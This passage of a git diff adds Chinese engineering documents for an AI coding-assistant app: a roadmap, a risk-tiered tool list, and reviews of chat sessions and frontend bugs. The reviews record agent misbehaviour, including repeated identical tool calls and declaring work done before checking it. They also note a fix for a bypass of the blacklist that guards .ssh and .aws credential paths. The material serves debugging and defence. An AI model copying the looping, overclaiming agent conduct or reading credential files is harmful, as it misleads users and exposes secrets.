## 三、对既有工作的对齐
|
||||||
|
|
||||||
|
| 已有资产 | 与本路线图的关系 |
|
||||||
|
|---------|----------------|
|
||||||
|
| `intent.rs` / `planner.rs` / `plan_hint.rs` | P0 的预制件——三个纯函数模块算法已完备,只差接入主 loop |
|
||||||
|
| `coordinator.rs` | P0 的关键缺项——当前空壳,需要填实为真正的 Agent 调度器 |
|
||||||
|
| 三层模型设计文档 | P1 的架构设计——模板/工作流/人设三层抽象已设计完成,待编码 |
|
||||||
|
| 走查报告 | 安全/架构债在 P0-P2 推进中同步修复 |
|
||||||
|
| 架构债迁移设计 | #15 AI 状态机抽离在 P0+P1 完成后自然推进 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 四、不做的方向
|
||||||
|
|
||||||
|
以下方向经过评估后,**当前阶段不投入**:
|
||||||
|
|
||||||
|
| 方向 | 放弃理由 | 可能的时机 |
|
||||||
|
|------|---------|-----------|
|
||||||
|
| 全自动无人值守 | 当前审批机制(HumanNode)是有意的设计取舍,AI 最终决策需人类把关 | 长效目标,非当前阶段 |
|
||||||
|
| 第三方系统集成(云效/禅道) | 核心 Agent 能力未就绪前,集成的价值有限 | P2 完成后评估 |
|
||||||
|
| MCP 外部工具接入 | 工具集封闭是安全取舍,开放后将引入新的攻击面 | Phase 5 或之后 |
|
||||||
|
| Web/移动端 | AI 执行逻辑焊死在桌面端(#15)解决之前,跨端无意义 | #15 完成后 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 五、下一步行动
|
||||||
|
|
||||||
|
**当前建议方向**(按此顺序落地):
|
||||||
|
|
||||||
|
```
|
||||||
|
本周 → 人设系统(Persona 数据结构 + 5 内置人设 + 注册表)
|
||||||
|
↓
|
||||||
|
下周 → Coordinator 填实 + Planner 接入(多 Agent 骨架)
|
||||||
|
↓
|
||||||
|
下月 → 节点补齐(Subflow/Docker/Git)+ 模板加载器 + YAML 模板
|
||||||
|
```
|
||||||
|
|
||||||
|
每步完成即可独立验证,不必等全部做齐再交付。
|
||||||
@@ -108,27 +108,19 @@ commands/ai/
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 四、12 个 AI 工具
|
## 四、AI 工具清单
|
||||||
|
|
||||||
### 工具清单
|
### 工具注册
|
||||||
|
|
||||||
工具定义在 `tool_registry.rs::build_ai_tool_registry`,编译期硬编码(无运行时动态注册)。
|
工具定义在 `tool_registry.rs::build_ai_tool_registry`,**编译期硬编码**(无运行时动态注册)。工具统计截至 2026-06-29(后续增删见该函数 `registry.register` 调用点)。
|
||||||
|
|
||||||
| 风险 | 工具 | 说明 |
|
### 按风险等级分组
|
||||||
|------|------|------|
|
|
||||||
| **Low**(自动执行) | `list_projects` | 列出项目(排软删,截断 50 条) |
|
**Low(自动执行)** — 只读查询类,不触发审批。包含:`list_projects`/`get_project_count`、`list_tasks`/`get_task_count`、`list_task_links`/`get_task_tree`、`list_ideas`、`list_trash`、`read_file`、`read_symbol`(AST符号解析)、`list_directory`、`file_info`、`grep`(跨文件内容搜索)、`search_files`、`list_project_services`、`list_project_modules`、`get_project_timeline`、`git_status`/`git_diff`/`git_log`(只读)。
|
||||||
| **Low** | `list_tasks` | 列出任务(可按 project_id 筛选) |
|
|
||||||
| **Low** | `list_ideas` | 列出灵感 |
|
**Medium(需审批)** — 写入类,需人工批准。包含:`create_project`/`update_project`/`bind_directory`、`create_task`/`update_task`/`delete_task`、`advance_task`/`move_task_queue`/`update_content`、`create_task_link`/`remove_task_link`、`create_idea`、`add_project_service`、`write_file`/`patch_file`/`append_file`、`git_commit`/`git_branch`、`http_request`(SSRF防护含DNS rebinding检查)。
|
||||||
| **Low** | `read_file` | 读文件(offset/limit 分页,1MB 上限) |
|
|
||||||
| **Low** | `list_directory` | 列目录(噪音剪枝 + 1000 条上限) |
|
**High(需审批 + 默认谨慎)** — 高风险,默认自动执行模式会全部拒绝。包含:`delete_project`/`restore_project`/`purge_project`、`delete_file`/`rename_file`、`run_command`(默认超时 60s)、`run_workflow`(联动任务推进)、`git_merge`(冲突返回冲突文件列表)。
|
||||||
| **Medium**(需审批) | `create_project` | 创建项目(可选 path/stack 一步绑定) |
|
|
||||||
| **Medium** | `update_project` | 改字段(复用 CRUD 白名单校验) |
|
|
||||||
| **Medium** | `create_task` | 创建任务 |
|
|
||||||
| **Medium** | `create_idea` | 创建灵感 |
|
|
||||||
| **Medium** | `write_file` | 写文件(自动建父目录,1MB 上限) |
|
|
||||||
| **Medium** | `bind_directory` | 项目绑定代码目录 + 探测技术栈 |
|
|
||||||
| **High**(需审批) | `delete_project` | 删项目(软删进回收站) |
|
|
||||||
| **High** | `run_workflow` | 运行工作流(当前返回提示,未实装) |
|
|
||||||
|
|
||||||
### 工具三要素同源
|
### 工具三要素同源
|
||||||
|
|
||||||
@@ -145,9 +137,9 @@ commands/ai/
|
|||||||
|
|
||||||
### 已知限制
|
### 已知限制
|
||||||
|
|
||||||
- **截断 50 条无翻页**:三个 list 工具 `truncate(50)` 硬截断,无 offset/limit,AI 不知道有数据被漏掉(待改进)
|
|
||||||
- **"能写不能跑"**:AI 有 `write_file` 但无 `run_command`,无法形成"写→跑→改"闭环(待改进)
|
|
||||||
- **工具集封闭**:编译期硬编码,无 MCP 客户端,AI 运行时不能新增/修改工具
|
- **工具集封闭**:编译期硬编码,无 MCP 客户端,AI 运行时不能新增/修改工具
|
||||||
|
- **AI 不能造工具**:AI 能 `write_file` 写脚本但不会变成可调用工具(要重编译)
|
||||||
|
- **agent ↔ workflow 仍未完全打通**:`run_workflow` 现已能联动任务推进,但 ScriptNode 能力未暴露给 agent loop
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|||||||
192
docs/05-代码审查/aichat-会话实测分析-2026-07-07.md
Normal file
192
docs/05-代码审查/aichat-会话实测分析-2026-07-07.md
Normal file
@@ -0,0 +1,192 @@
|
|||||||
|
# AI Chat 真实会话实测分析(系统消息污染 + 死循环重调)
|
||||||
|
|
||||||
|
> 日期:2026-07-07 | 方法:从生产 DB(`%APPDATA%/top.1216.devflow/devflow.db`)实测最近两个会话全量消息反推,Python 只读统计
|
||||||
|
> 基线会话:`9357c27c`(HaoGamePlatfPro,prompt 644,586 / completion 3,865)+ `43b75e49`(wk-hszd,prompt 601,028 / completion 4,134)
|
||||||
|
> 产物:**2 P0 / 3 P1 / 2 P2**
|
||||||
|
> 性质:**实测数据反推**(非静态代码审查)。finding 的源码根因为"假设",须独立 grep/read 核验后再定论
|
||||||
|
> 关联:[[aichat-session-analysis-2026-06-22]] [[aichat-techdebt-audit-2026-06-21]] [[devflow-generating-statemachine]] [[devflow-compress-ui-no-fold]]
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 会话概况
|
||||||
|
|
||||||
|
| 项 | 9357c27c | 43b75e49 |
|
||||||
|
|---|---|---|
|
||||||
|
| 标题 | HaoGamePlatfPro | 查看 E 盘 wkhszd 目录内容 |
|
||||||
|
| 跨度 | 2026-06-30 14:31 ~ 15:04(~33 分钟) | 2026-07-01 ~ 07-03(中间大间隔) |
|
||||||
|
| 消息数 | 97 | 77 |
|
||||||
|
| prompt / completion tokens | 644,586 / 3,865 | 601,028 / 4,134 |
|
||||||
|
| completion/prompt 比 | **0.60%** | **0.69%** |
|
||||||
|
| 工具调用次数 | list_directory 22 / read_file 22 / search_files 13 / list_projects 2 / update_project 1 / get_task_count 1 | list_directory 16 / read_file 17 / list_projects 2 / list_project_modules 3 / bind_directory 3 / create_project 1 / update_project 3 |
|
||||||
|
| 工具结果总量 | 195.4 KB | 62.3 KB |
|
||||||
|
| 用户输入字数 | **34 字**(2 条) | 51 字(5 条) |
|
||||||
|
| 用户催促 | 0 | 1(核对) |
|
||||||
|
| 末尾收尾 | assistant(seq96,正常) | assistant(seq76,正常) |
|
||||||
|
| task | 浏览 HaoGamePlatfProject 代码补充项目信息 | 把 wk-hszd 注册为 DevFlow 多工程项目 |
|
||||||
|
|
||||||
|
两会话共同特征:**极少用户输入(34~51 字)产生 60 万级 prompt**,completion/prompt 比 < 1%,极端输入重。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## P0(2 项)
|
||||||
|
|
||||||
|
### [P0-1] seq0 system 消息污染:assistant 思考流被截断重复拼接 41 次 + role 错位 + 时序倒挂
|
||||||
|
|
||||||
|
- **现象**(9357c27c seq0):
|
||||||
|
- `role=system`,但内容是 assistant 语义:`"我已经充分了解了项目结构。让我快速查看几个关键文件..."`
|
||||||
|
- 同一短语 `"现在更新项目信息:基于代码分析,这是一个大型综合游戏平台后端。让我更新项目描述和技术栈。"` **重复 41 次**,拼成 1879 字符
|
||||||
|
- seq0 timestamp `1782971672713` 比 seq1 `1782971504351` **晚 168 秒**(时序倒挂)
|
||||||
|
- **db 证据**:`ai_messages` seq0 row,role=system,status=active,content 长 1879
|
||||||
|
- **根因假设**(强):系统 prompt 注入路径把"上一轮 assistant 流式片段"误当 system 上下文写入;且写入库时陷入重复拼接循环(疑似字符串 builder 在流式 chunk 累积时无去重/无终止条件)。这是 [[aichat-session-analysis-2026-06-22]] P2-1 的**复发且恶化**——上次只见 1 条 assistant 语义残留,本次是 41 次死循环拼接。
|
||||||
|
- **影响**:
|
||||||
|
1. system 消息会作为 prompt 头部送入 LLM,1879 字符无意义噪声污染每一轮上下文
|
||||||
|
2. role 错位会误导模型(system 应是约束指令,却变成"我说的"内容)
|
||||||
|
3. 时序倒挂破坏压缩/排序/计费
|
||||||
|
- **待核验源码点**:
|
||||||
|
- system prompt 注入路径(`ai_messages` 写入 system 行的位置,`src-tauri/src/commands/ai/`)
|
||||||
|
- 流式 chunk 累积逻辑(查 `for` / `push_str` / `+=` 类字符串拼接,是否有循环退出条件)
|
||||||
|
- timestamp 赋值逻辑(为何 system 行用了"插入时刻"而非"会话起始时刻")
|
||||||
|
- **关联**:印证 [[aichat-techdebt-audit-2026-06-21]] P2 区"system 消息混入 assistant 内容"项;与 [[aichat-session-analysis-2026-06-22]] P2-1 同源(前次未根治)
|
||||||
|
|
||||||
|
### [P0-2] 工具死循环重调:LLM 无"已调用过"记忆,同参同路径重复触发
|
||||||
|
|
||||||
|
- **现象**(9357c27c):
|
||||||
|
- `read_file(application.xml)` **读了 17 次**,其中两次返回完全相同的 8457c 全文(同一文件无变化)
|
||||||
|
- `search_files(pattern='.java', path=...src)` **连调 13 次**,每次返回结构几乎一致(items=0, has_more=True,5.5~5.8KB),LLM 完全没意识到在重复
|
||||||
|
- `list_directory(...src)` 2 次,第 2 次返回 30,516c(第 1 次 6,144c,深度参数不一致但 LLM 未说明理由)
|
||||||
|
- **db 证据**:13 条 search_files 调用 `arguments` 完全相同,`result` 长度方差 < 5%
|
||||||
|
- **根因假设**:
|
||||||
|
1. **无工具结果缓存层**:会话级无"同参工具调用 → 返回缓存命中提示"机制,LLM 每次发起都真执行
|
||||||
|
2. **prompt 未告知 LLM 已读内容**:read_file 返回的文件指纹/路径未在后续 prompt 中显式标注"已读",LLM 失忆反复读
|
||||||
|
3. **search_files has_more=True 的分页语义被 LLM 误解**:可能 LLM 以为重调能翻页,但实际每次返第一页
|
||||||
|
- **影响**:
|
||||||
|
- **prompt 64 万的直接元凶之一**:13 次 search × ~5.7KB + 17 次 read × 平均 2.7KB ≈ **75KB 仅重复工具结果**(占 prompt 字符量的主要部分)
|
||||||
|
- 死循环消耗 30+ 轮 LLM 调用,用户等待感极差
|
||||||
|
- **待核验源码点**:
|
||||||
|
- 工具调度层(`tool_registry.rs` / `agentic/mod.rs`)——是否有 `seen_tool_calls` 去重
|
||||||
|
- read_file 是否返回 file_hash 供 LLM 引用(对照 [[aichat-techdebt-audit-2026-06-21]] P1「expected_hash schema 契约破裂」)
|
||||||
|
- search_files 分页契约(为何 has_more=True 但无 page/cursor 参数)
|
||||||
|
- **关联**:印证 [[aichat-session-analysis-2026-06-22]] P2-2(同文件反复 read)+ 新增 search_files 死循环变体
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## P1(3 项)
|
||||||
|
|
||||||
|
### [P1-1] ~~压缩实质失效:compressed 消息平均长度比 active 还长(205%)~~ 【误报,2026-07-07 核验撤销】
|
||||||
|
|
||||||
|
- **原现象**(9357c27c):58/97 条 status=compressed,但 compressed 平均 2641c/条,active 平均 1287c/条——压缩后比未压缩还长 2 倍。
|
||||||
|
- **核验撤销**:进一步按 role 分组统计发现,compressed tool 消息长(4608c)是因为会话前期是大工具调用(list_directory/read_file 大输出),active tool 消息短(1714c)是因为后期转为小操作(update_project)。这是会话业务节奏的自然结果,不是压缩机制问题。
|
||||||
|
- **prompt_tokens 语义澄清**:`prompt_tokens=644,586` 是**会话级累积值**(每轮 prompt 累加,见 `agentic/mod.rs:1366 tokens.add()`),不是最后一轮值。97 条消息 × 平均 6645 tokens/轮 ≈ 644K,完全合理。每轮实际 prompt 只 ~6.6K(active content 49KB ≈ 13K token,压缩后只进 active)。
|
||||||
|
- **结论**:06-22 报告 P0-1 修复(is_active 白名单让 compressed 不进 prompt)**生效**。本项撤销,无需修复。
|
||||||
|
|
||||||
|
### [P1-2] LLM 自检缺失 + 宣称完成即停,用户被迫人工纠错
|
||||||
|
|
||||||
|
- **现象**(43b75e49 wk-hszd):
|
||||||
|
- seq71 assistant 自检发现 bug:`path` 被最后一次 `bind_directory` 覆盖成 `hszd-test`,`stack` 变成 `["Go"]`
|
||||||
|
- 但这是 assistant **自己**在 seq74"再次核对"时才发现——说明 seq68 用户催"核对"前,assistant 已认为完成
|
||||||
|
- 3 次 `bind_directory` 把 path 从 `hszd-api` → `hszd-admin` → `hszd-test`,每次都覆盖前值,assistant 没意识到多工程 monorepo 的 path 字段不该是单子工程
|
||||||
|
- **db 证据**:bind_directory 3 次调用 args 显示 path 被依次覆盖,最终 assistant 自己回滚用 `update_project(path='E:/wk-hszd')` 修正
|
||||||
|
- **根因假设**:
|
||||||
|
1. agent 无"宣称完成前的强制自检"(对照 [[aichat-session-analysis-2026-06-22]] P1-1)
|
||||||
|
2. `bind_directory` 的 `path` 字段语义对多工程 monorepo 有歧义(LLM 以为是"当前操作的子工程",实际是"项目根")
|
||||||
|
- **影响**:用户对 agent 完成度零信任,需人工核对每个字段
|
||||||
|
- **待核验/落点**:
|
||||||
|
- agent 行为策略(prompt 加自检 checklist)
|
||||||
|
- `bind_directory` schema 注释补"monorepo 应用项目根路径,非子工程"
|
||||||
|
- **关联**:[[aichat-decision-capability]] [[aichat-b-route-parallel-multiround]]
|
||||||
|
|
||||||
|
### [P1-3] 工具拒绝消息破坏 JSON 协议:raw 文本"用户拒绝了此操作"
|
||||||
|
|
||||||
|
- **现象**(9357c27c seq95):`update_project` 被用户拒绝,tool role 消息 content = `'用户拒绝了此操作'`(8 字符裸文本),非 JSON
|
||||||
|
- **db 证据**:61 条 tool 消息中 60 条 JSON-parseable,1 条 raw-text(就是这条拒绝)
|
||||||
|
- **根因假设**:工具拒绝路径(`ai_reject` / 审批拒绝)走的是错误字符串直接返回,未包装成 `{"status":"rejected","reason":"..."}` 结构
|
||||||
|
- **影响**:
|
||||||
|
- 若 LLM provider 严格解析 tool role 内容(部分 provider 要求 JSON),会触发协议错误
|
||||||
|
- 与 [[aichat-techdebt-audit-2026-06-21]] P1「审批状态字符串双轨(executed/completed)」同家族——工具返回协议不统一
|
||||||
|
- **待核验源码点**:审批拒绝 handler(`commands.rs` 拒绝分支)的返回序列化
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## P2(2 项)
|
||||||
|
|
||||||
|
### [P2-1] system 消息 timestamp 用"插入时刻"而非"会话时刻",时序倒挂
|
||||||
|
|
||||||
|
- **现象**(9357c27c):seq0 system ts=1782971672713,seq1 user ts=1782971504351,seq0 比 seq1 晚 168 秒
|
||||||
|
- **根因假设**:system prompt 注入是在会话进行中"补写"的(可能是压缩/续轮时插入),用了补写时刻
|
||||||
|
- **影响**:排序、压缩窗口计算、计费全受污染
|
||||||
|
- **关联**:与 P0-1 同源(都是 seq0 system 行的写入 bug)
|
||||||
|
|
||||||
|
### [P2-2] bind_directory 多工程语义错配:单值 path 字段无法表达 monorepo
|
||||||
|
|
||||||
|
- **现象**(43b75e49):wk-hszd 是 Go+Vue+Test 三子工程 monorepo,assistant 3 次 bind_directory 分别绑三个子工程路径,前两个被第三个覆盖
|
||||||
|
- **根因假设**:`projects.path` 是单值字段,而 DevFlow 的"多工程"概念(`project_modules` 表)与"项目根 path"语义未在 schema 注释中澄清
|
||||||
|
- **影响**:多工程项目的 path 字段长期处于"最后绑的子工程"错误状态,直到 LLM 自检或人工纠正
|
||||||
|
- **待核验/落点**:`bind_directory` IPC 的 schema 文档 + 多工程 monorepo 的 path 字段规范(可能应允许 null 或 readonly,工程信息走 `project_modules`)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 落点建议(未实施,遵守 [[session-role-diagnose-only]])
|
||||||
|
|
||||||
|
| 项 | 优先级 | 落点 |
|
||||||
|
|---|---|---|
|
||||||
|
| P0-1 system 消息污染 + 重复拼接 | P0 | system prompt 注入路径 + 流式 chunk 累积循环(查 push_str/+= 类拼接) |
|
||||||
|
| P0-2 工具死循环重调 | P0 | 工具结果缓存层(会话级 seen_tool_calls)+ read_file 返回 file_hash + search_files 分页契约 |
|
||||||
|
| P1-1 压缩产出反向膨胀 | P0/P1 | compress_old_messages 产出从拼接改真摘要 |
|
||||||
|
| P1-2 自检 + bind_directory 语义 | P1 | prompt 自检 checklist + bind_directory schema 注释 |
|
||||||
|
| P1-3 拒绝消息 JSON 协议 | P1 | 审批拒绝 handler 返回结构化 JSON |
|
||||||
|
| P2-1 timestamp 时序 | P2 | system 行 timestamp 用会话起始时刻 |
|
||||||
|
| P2-2 多工程 path 语义 | P2 | bind_directory/path schema 文档 |
|
||||||
|
|
||||||
|
**最高杠杆**:P0-1(系统消息污染直接污染每一轮 prompt)+ P0-2(工具死循环是 prompt 64 万的主因)。两者叠加,即使只修这两项,类似会话的 prompt 可降一个量级。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2026-07-07 修复落地(本次实施)
|
||||||
|
|
||||||
|
| 项 | 位置 | 修复 |
|
||||||
|
|---|---|---|
|
||||||
|
| P0-1 LLM 退化输出污染 system 消息 | `commands/ai/compress.rs` | `clean_summary` 加 `is_degenerated_repetition` 退化检测,同一片段重复 ≥5 次返空 → 调用方据空值降级走关键词兑底 |
|
||||||
|
| P0-2 工具死循环重调 | `commands/ai/audit/cache.rs` + `audit/mod.rs` | 新增 `find_cached_readonly_result`(只读幂等工具白名单:read_file/read_symbol/list_directory/search_files/grep),Low 风险执行前查会话历史,同参同成功(completed)调用直接回填缓存跳过真执行 |
|
||||||
|
| P1-3 拒绝消息破 JSON 协议 | `commands/ai/commands/chat.rs` + `audit/mod.rs` | 三处拒绝消息(用户拒绝此操作/路径授权拒绝/路径黑名单拒绝)改结构化 JSON `{status,reason,message}` |
|
||||||
|
| **额外**:Windows 上 .ssh/.aws 黑名单绕过 | `state/allowed_dirs.rs` | `check_path_authorization` 黑名单检查提前到路径规范化之前(对原始路径也判一次)。根因:Windows 上 `/home/user/.ssh/config` 的 `is_absolute()` 返 false,persistent 为空时旧逻辑直接返 NeedsAuthorization 跳过黑名单 |
|
||||||
|
| P1-2 bind_directory 多工程语义错配 | `commands/ai/tool_registry.rs` | 工具描述补充 monorepo 语义:path 应为项目根路径(非子工程),多次调用会覆盖,子工程信息走 list_project_modules |
|
||||||
|
| ~~P1-1 压缩产出反向膨胀~~ | — | **误报撤销**:prompt_tokens 是会话级累积值(非单轮值),按 role 分组统计后压缩机制正常 |
|
||||||
|
|
||||||
|
**测试**:`cargo test -p devflow --lib` 通过(compress 11 + audit 19 + allowed_dirs 20,含新增 6 个回归测试)。原 `test_grep_blacklisted_path_denied`(此前失败)现已通过。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 复现方法
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 只读查询生产 DB
|
||||||
|
python -c "
|
||||||
|
import sqlite3, os
|
||||||
|
db = os.path.expandvars(r'%APPDATA%/top.1216.devflow/devflow.db')
|
||||||
|
con = sqlite3.connect(f'file:{db}?mode=ro', uri=True)
|
||||||
|
# seq0 system 污染证据
|
||||||
|
print(con.execute('select seq, role, length(content), timestamp from ai_messages where conversation_id=? and seq<2 order by seq',
|
||||||
|
('9357c27c-aeba-488f-9f4f-12c2d0506f63',)).fetchall())
|
||||||
|
# search_files 13 次重复
|
||||||
|
print(con.execute('select count(*), min(length(result)), max(length(result)) from ai_tool_executions where conversation_id=? and tool_name=?',
|
||||||
|
('9357c27c-aeba-488f-9f4f-12c2d0506f63','search_files')).fetchall())
|
||||||
|
"
|
||||||
|
# 表:ai_conversations / ai_messages / ai_tool_executions
|
||||||
|
```
|
||||||
|
|
||||||
|
数据快照:2026-07-07 抓取自 `devflow.db`(生产库,非 dev)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 与 06-22 报告的对比
|
||||||
|
|
||||||
|
| 项 | 06-22 报告 | 07-07 实测 | 趋势 |
|
||||||
|
|---|---|---|---|
|
||||||
|
| 工具返回裸文本(raw) | patch_file/read_file 大量 raw(6204c) | 仅 1 条(拒绝消息) | ✅ **已修复**(P0-2 性质修正有效) |
|
||||||
|
| 重复 tool 结果落库 | seq 11/12/13/14 同结果 4 份 | 0 条 tool_call_id 重复 | ✅ **已修复**(P0-3 撤销成立) |
|
||||||
|
| system 消息混 assistant 语义 | seq0 残留 1 句 | seq0 重复 41 次拼接 | ❌ **恶化**(P2-1 → P0-1) |
|
||||||
|
| 同文件反复 read | mysql_guide read 4× | application.xml read 17× | ❌ **恶化**(P2-2 → P0-2) |
|
||||||
|
| 上下文管理实质失效 | compressed 未降 prompt(已隐式修复) | compressed 产出反向膨胀 205% | ⚠️ **新变体**(P0-1 → P1-1) |
|
||||||
|
| 中断(tool 后无 assistant) | seq85 停尸 | 无(两会话均 assistant 收尾) | ✅ **已修复** |
|
||||||
|
|
||||||
|
**结论**:06-22 后修复的"工具返回协议/落库去重/中断"三项**确实生效**;但"system 污染"和"工具死循环"两类问题**反而恶化**——前者从残留 1 句变成 41 次拼接,后者从 4× 变成 17×。说明这两类是未根治的根因,须单独立项。
|
||||||
144
docs/05-代码审查/aichat-对话功能走查-2026-07-17.md
Normal file
144
docs/05-代码审查/aichat-对话功能走查-2026-07-17.md
Normal file
@@ -0,0 +1,144 @@
|
|||||||
|
# aichat 对话功能深度走查报告(2026-07-17)
|
||||||
|
|
||||||
|
> 触发:用户反馈「对话功能现在存在很多问题,深入检查」。
|
||||||
|
> 方法:5 个 general-purpose 代理并行走查 5 维度(发送/流式/渲染/会话侧栏顶栏/审批上下文)→ 主代理独立 grep/read 核验所有 P0 + 关键 P1(不信代理结论,每条标注核验状态)。
|
||||||
|
> 性质:**走查任务,未改任何代码**。本报告为问题清单 + 修复方向,待用户确认后实施。
|
||||||
|
|
||||||
|
## 健康度总评:B-
|
||||||
|
|
||||||
|
最近一批发改动(BUG-2026-07-17:状态机收敛方向正确)引入 **2 个 P0 回归**;其余 P1 多源自 **F-09 per-conv 改造未完成**的单例债(queue / legacy watchdog / _approvalTimers / modelOverride / _lastDelta 仍是全局单例,多会话并发下串话)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## P0(功能 bug,建议立即修)
|
||||||
|
|
||||||
|
### P0-1 流式 watchdog legacy 路径全局误杀并发会话 + 删 running 保护致长工具误杀 ✅核验成立
|
||||||
|
|
||||||
|
**位置**:`useAiStream.ts:57-110, 73-78` / `useAiSend.ts:156,226`(doSend reset 同款)/ `audit/mod.rs:125-128`
|
||||||
|
|
||||||
|
**双重回归**(本次改动引入):
|
||||||
|
|
||||||
|
① **legacy 路径全局 clear**:doSend / regenerate(`useAiSend.ts:156`) / editMessage(`:226`) 调 `resetStreamWatchdog()` **无 convId** → 走 `_legacyWatchdog` fallback(`useAiStream.ts:128-132`)。45s 到期 `onStreamTimeout()` 无参 → `convStates.clear()`(`:77`)清掉**所有并发会话**的生成态。其他会话停止按钮失效、UI 与后端长期不一致。
|
||||||
|
|
||||||
|
② **删 running 保护**:`onStreamTimeout`(`:69`「不管 stillGenerating 检测」)去掉了原 stillGenerating + running 工具检测。长工具执行(cargo build / 测试套件 / 大文件 patch >45s)必然触发。后端心跳首 tick **30s**(`audit/mod.rs:126` 弃首 tick),AiHeartbeat 到达时前端 `resetStreamWatchdog(convId)` 只动 per-conv Map、**不清 legacy**,保护不了 doSend 挂的 legacy timer。
|
||||||
|
|
||||||
|
**证据**:`useAiStream.ts:69`「不管 stillGenerating 检测(即使已经 false 也再清理一次)」+ `:77` `convStates.clear()` + `audit/mod.rs:125-128` 心跳 30s。
|
||||||
|
|
||||||
|
**影响**:多会话并发下其他会话被误杀 + 任何 >45s 的工具执行被前端误判断流(回到 BUG-260624-03 修复前的用户报障状态)。
|
||||||
|
|
||||||
|
**修复方向**:
|
||||||
|
- legacy 路径 `convStates.clear()` → `convStates.delete(state.activeConversationId)`(对齐 legacy 单 timer 只跟踪当前会话语义)
|
||||||
|
- 恢复 `onStreamTimeout` 的 running 工具检测(工具执行中跳过 + reset 续等),或 `STREAM_TIMEOUT_MS` 回调 ≥75s
|
||||||
|
- 根治:doSend / regenerate / editMessage 的 `resetStreamWatchdog` 传 convId 走 per-conv(F-09 迁移)
|
||||||
|
|
||||||
|
### P0-2 审批计时器切/删会话不清 + 注释与代码矛盾 ✅核验成立
|
||||||
|
|
||||||
|
**位置**:`useAiConversations.ts:92-257`(switch 无 clearApprovalTimer)/ `:260-272`(delete 无清)/ `aiShared.ts:118`(默认 15min)vs `useAiConversations.ts:244-246`(注释「Infinity 已决策不超时」)
|
||||||
|
|
||||||
|
**证据**:
|
||||||
|
- switchConversation 全程未调 clearApprovalTimer / clearAllApprovalTimers(已核 90-257)
|
||||||
|
- deleteConversation 仅 `clearConvStreamState(id)`,不清 `_approvalTimers` 中属于该会话的 timer
|
||||||
|
- `startApprovalTimer` 到点回调(`aiShared.ts:147-163`)调 `aiApi.approve(id,false)` + push 错误气泡到 `getMessages()`(**当前 active 视图**)
|
||||||
|
- `:244-246` 注释「APPROVAL_TIMEOUT_MS=Infinity 已决策,不会超时自动拒绝」与 `:118` `APPROVAL_TIMEOUT_DEFAULT_MS=900_000`(15min)**直接矛盾**
|
||||||
|
|
||||||
|
**影响**:① 切走会话后 15min 到点 → 误拒后台 pending 工具 + 错误气泡 push 到当前(错误)会话视图;② 用户重启恢复审批后离开,回来发现审批已被无声自动拒绝。
|
||||||
|
|
||||||
|
**修复方向**:switchConversation 开头 `clearAllApprovalTimers()`(对齐 pendingApprovals 单例语义);deleteConversation 清该 conv 的 timer;修正 `:244` 注释。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## P1(明显缺陷)
|
||||||
|
|
||||||
|
### P1-1 [发送] queue=[] 跨会话丢消息 ✅核验成立
|
||||||
|
`useAiSend.ts:155,225` `state.queue = []`,queue 是 store 全局单例。B 会话 regenerate/editMessage 清掉 A 排队的用户消息,静默永久丢失。
|
||||||
|
|
||||||
|
### P1-2 [发送] drainQueue 无并发互斥 ✅核验成立
|
||||||
|
`useAiSend.ts:257-281` fire-and-forget 无锁,AiCompleted 连发 / stop+Completed 竞态致并发 doSend,前端 user/ai 占位双 push(后端 generating 守卫挡大部分但视图已污染)。
|
||||||
|
|
||||||
|
### P1-3 [会话] TopBar watch(activeConversationId) 无条件重置 modelOverride ✅核验成立
|
||||||
|
`TopBar.vue:325-327` 切会话无条件 `modelOverride = enabledModels[0]`,切会话往返丢失用户手选模型;与 `:335` `watch(enabledModels,{immediate})` 叠加语义脆弱。modelOverride 是模块级 ref,不持久化、不 per-conv。
|
||||||
|
|
||||||
|
### P1-4 [发送] tryForceSend 跨会话错位 + 队列续发 spans 丢失 ✅核验成立
|
||||||
|
`useAiSend.ts:323-328` queue item 无 convId / spans 字段,切会话后 forceSend 发到当前 active 而非原会话;mention chip 续发降级为纯文本。
|
||||||
|
|
||||||
|
### P1-5 [流式] _lastDelta 单值跨会话/跨轮误丢合法 delta ⚠️部分成立
|
||||||
|
`useAiEvents.ts:46,292` 单值重复检测,跨会话首 delta 撞同 / 同轮合法重复(Markdown 表格分隔符等)被误丢。难复现。
|
||||||
|
|
||||||
|
### P1-6 [流式] state.currentText += delta 无 streaming 守卫 ⚠️部分成立
|
||||||
|
`useAiEvents.ts:300`,P0-1 触发后超时收尾仍到达的 delta 污染 currentText。修 P0-1 即间接修复。
|
||||||
|
|
||||||
|
### P1-7 [渲染] MessageItem.vue system/assistant/error 死代码 ✅核验成立
|
||||||
|
`MessageItem.vue:94-170`,MessageList 仅 `role==='user'` 引用 MessageItem(`:663-673`),AI 渲染全在 MessageList 内联。MessageItem 内 `.ai-cursor-blink` 是孤岛 class(全仓库无其他定义)。维护陷阱。
|
||||||
|
|
||||||
|
### P1-8 [渲染] _blockCache 无失效机制 ✅核验成立
|
||||||
|
`useStreamRenderer.ts:117` 模块级 Map 无会话切换 / 配置变更失效,长会话膨胀 + Markdown 主题热改无效 + 瞬态错误固化。
|
||||||
|
|
||||||
|
### P1-9 [渲染] messages deep watch + JSON.stringify 每帧全量遍历 ✅核验成立
|
||||||
|
`MessageList.vue:244` deep watch 每帧 O(N×content) 遍历,长会话流式掉帧。
|
||||||
|
|
||||||
|
### P1-10 [渲染] useToolApproval onApprove confirmDialog 无防重入 ✅核验成立
|
||||||
|
`useToolApproval.ts:98-113` High 风险工具 confirmDialog await 期间 approving 未置 true,双击重复审批。
|
||||||
|
|
||||||
|
### P1-11 [会话] 删当前会话 active=null 无 fallback ✅核验成立
|
